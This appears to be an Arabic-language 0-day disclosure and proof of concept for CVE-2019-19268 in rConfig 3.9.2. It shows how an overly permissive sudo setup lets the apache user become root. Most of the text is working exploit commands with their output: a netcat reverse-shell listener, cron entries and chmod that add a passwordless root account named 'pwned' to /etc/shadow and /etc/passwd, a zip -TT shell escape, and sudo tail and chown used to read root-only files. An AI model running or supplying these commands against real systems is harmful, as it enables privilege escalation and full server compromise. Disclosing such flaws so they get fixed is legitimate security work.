thecybergeek/cve-2019-19268ثغرات 0-day جديدة مكتشفة!
[الوصف]
نواقل هجوم متعددة في rConfig v3.9.2 بسبب سوء الإعداد، مما يسمح للمستخدمين المحليين بتنفيذ أوامر جذرية عبر sudo.
[المكتشفون]
dmw0ng - ديسكورد: dmw0ng#4449
TheCyberGeek - ديسكورد: TheCyberGeek#1892
البريد الإلكتروني: [email protected]
إعداد sudo في rConfig 3.9.2 يمنح مستخدم apache صلاحية تنفيذ برامج /usr/bin/zip و /bin/chmod و /usr/bin/tail كجذر. يمكن استخدام هذا لتنفيذ أكواد عن بُعد بالتزامن مع CVE-2019-16662 و CVE-2019-16663.
هذه مجموعة من الثغرات تؤدي إلى اختراق النظام بسبب سوء إعداد المستخدم.
[نوع الثغرة]
صلاحيات غير آمنة
نظام التشغيل: CentOS 7.7.1908 البرنامج: rConfig v3.9.2
نواقل هجوم متعددة في rConfig v3.9.2 بسبب سوء الإعداد، مما يسمح للمستخدمين المحليين بتنفيذ أوامر جذرية عبر sudo.
باستخدام استغلال Askar:
https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ نحصل على مستخدم apache على rConfig 3.9.2.
root@TheCyberGeek:~# nc -lvvp 4444
listening on [any] 4444 ...
192.168.230.22: inverse host lookup failed: Unknown host
connect to [10.10.11.3] from (UNKNOWN) [192.168.230.22] 60598
whoami
apache
id
uid=48(apache) gid=48(apache) groups=48(apache)
يمكن للمستخدم apache تشغيل الأوامر التالية على النظام المُساء إعداده:
(ALL) NOPASSWD: /usr/bin/crontab, /usr/bin/zip, /bin/chmod, /bin/chown, /usr/bin/whoami, /usr/bin/wc, /usr/bin/tail, /bin/rm
id
uid=48 gid=48(apache) groups=48(apache)
sudo /usr/bin/crontab -l | { cat; echo "* * * * * echo 'pwned:::0:99999:7:::' >> /etc/shadow"; } | sudo /usr/bin/crontab -
sudo /usr/bin/crontab -l | { cat; echo "* * * * * echo 'pwned:x:0:0:root:/root:/bin/bash' >> /etc/passwd"; } | sudo /usr/bin/crontab -
sudo /usr/bin/crontab -l
* * * * * echo 'pwned:::0:99999:7:::' >> /etc/shadow
* * * * * echo 'pwned:x:0:0:root:/root:/bin/bash' >> /etc/passwd
su pwned
id
uid=0(root) gid=0(root) groups=0(root)
id
uid=48 gid=48(apache) groups=48(apache)
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 65%)
sudo rm $TF
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
sudo /bin/chmod 777 /etc/shadow
sudo /bin/chmod 777 /etc/passwd
echo "pwned:::0:99999:7:::" >> /etc/shadow
echo "pwned:x:0:0:root:/root:/bin/bash" >> /etc/passwd
su pwned
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
id
uid=48(apache) gid=48(apache) groups=48(apache)
ls -la /root/secret.txt
-rwx------ 1 root root 19 Nov 25 11:41 /root/secret.txt
cat /root/secret.txt
LFILE=/root/secret.txt
sudo tail -c1G "$LFILE"
I got the secret
ls -la /root/secret.txt
-rwx------ 1 root root 19 Nov 25 11:41 /root/secret.txt
sudo /bin/chown apache:apache /root/secret.txt
ls -la /root/secret.txt
-rwx------ 1 apache apache 19 Nov 25 11:41 /root/secret.txt
cat /root/secret.txt
I got the secret
وبالتالي فإننا نخترق بالكامل أي نظام CentOS 7.7.1908 مثبت عليه rConfig.